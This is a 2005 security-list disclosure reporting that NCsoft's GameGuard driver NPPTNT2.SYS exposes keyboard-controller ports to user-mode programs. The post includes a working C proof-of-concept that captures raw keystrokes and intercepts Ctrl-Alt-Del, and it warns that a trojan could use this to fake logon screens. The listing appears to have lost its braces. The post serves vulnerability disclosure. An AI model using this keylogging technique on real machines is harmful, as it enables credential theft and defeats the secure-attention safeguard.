Re: Unrestricted I/O access vulnerability in INCA Gameguard

From: David Roberts (
Date: 01/28/05

  • Next message: Thierry Carrez: "[ GLSA 200501-40 ] ngIRCd: Buffer overflow"
    Date: 28 Jan 2005 18:45:00 -0000
    ('binary' encoding is not supported, stored as-is) In-Reply-To: <000001c4fc2b$bfd81820$6101a8c0@sauron>

    On January 26 2005, NCsoft updated their Lineage 2 client for the North American and European market to include the GameGuard system.

    The GameGuard system includes an updated version of the NPPTNT2.SYS driver (2005.1.5.1). The updated driver no longer opens all I/O ports on demand to a user mode process. However, it still opens two port ranges: 0x40-0x47 and 0x60-x067.

    The port range 0x60-0x67 allows access to the 8042 keyboard and mouse controller. This access still represents a security vulnerability, as a trojan can use the driver to intercept all keyboard input to the system before the OS sees the input. This includes the Ctrl-Alt-Del Secure Attention Sequence, which is never passed to applications in the OS design.

    Using GameGuard, a trojan could create a fake logon screen to the operating system, and get hold of usernames and passwords, and use those to elevate its privilege on the system. The operating system safeguard of pressing the Secure Attention Sequence Ctrl-Alt-Del to get to a genuine logon screen is bypassed.

    The attached proof of concept code shows a simple program that intercepts 100 keyboard scan codes and displays them on screen. While the program is running, Ctrl-Alt-Del is intercepted by the program and does not bring up the security dialog or task manager.

    Also, if the attached proof of concept code is run concurrently with Lineage 2 with Gameguard, the proof of concept program successfully intercepts all input. There is a risk that the proof of concept may have side effects such as disabling your mouse or resetting your computer, so please save any work before running it. The trade off is simplicity and clarity in the proof of concept.

    In our testing we have found that PS/2 keyboards are affected as they use the 8042 controller, however USB keyboards are not as the OS uses the USB and HID driver stack to process input from them. We would recommend using a USB keyboard, and disconnecting it from the PS/2 port if it has both USB and PS/2 connections.

    // NPPTNT2keylog.cpp : Defines the entry point for the console application.

    #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
    #include <stdio.h>
    #include <tchar.h>

    #include <windows.h>
    #include <winioctl.h>
    #include <conio.h>

    int main(int argc, char* argv[])
            puts("Opening \\\\.\\NPPTNT2\r");
            HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
                    FILE_ATTRIBUTE_NORMAL, 0);

            if (hFile != INVALID_HANDLE_VALUE)
                    puts("Calling DeviceIoControl\r");
                    DWORD dwRet = 0;
                    // Take this line out and the _inp will give you an AV
                    DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);

                    // Read the status register
                    int StatusRegister = _inp(0x64);

                    printf("Status Register: %02X\n", StatusRegister);

                    // Output the read command byte command
                    _outp(0x64, 0x20);

                    // Read the command bytes
                    int CurrentCommandByte = _inp(0x60);

                    printf("Current Command Byte: %02X\n", CurrentCommandByte);

                    // Disable interrupts by masking off bit 0
                    CurrentCommandByte &= 0xFE;

                    // Output the write command byte command
                    _outp(0x64, 0x60);

                    // Output the new command byte
                    _outp(0x60, CurrentCommandByte);

                    puts("Type now and try 'E' or 'J' to exit, or Ctrl-C\r");

                    // Run for hundred scan codes or less
                    // (arbitrary termination condition)
                    for (int i = 0 ; i < 100; i++)
                            // Wait on bit 0 to go high
                            while ((_inp(0x64) & 0x01) == 0);

                            // Read the scan code from the keyboard
                            int nVal = _inp(0x60);

                            // Scan code 0x24 - Either 'E' or 'J' depending
                            // on which set of scan codes the keyboard is using
                            // Exit early on this key
                            if (nVal == 0x24)

                            // list out the hex value of the scan code
                            printf("0x%02X ", nVal);

                    puts("Driver not found\r");

            return 0;

  • Next message: Thierry Carrez: "[ GLSA 200501-40 ] ngIRCd: Buffer overflow"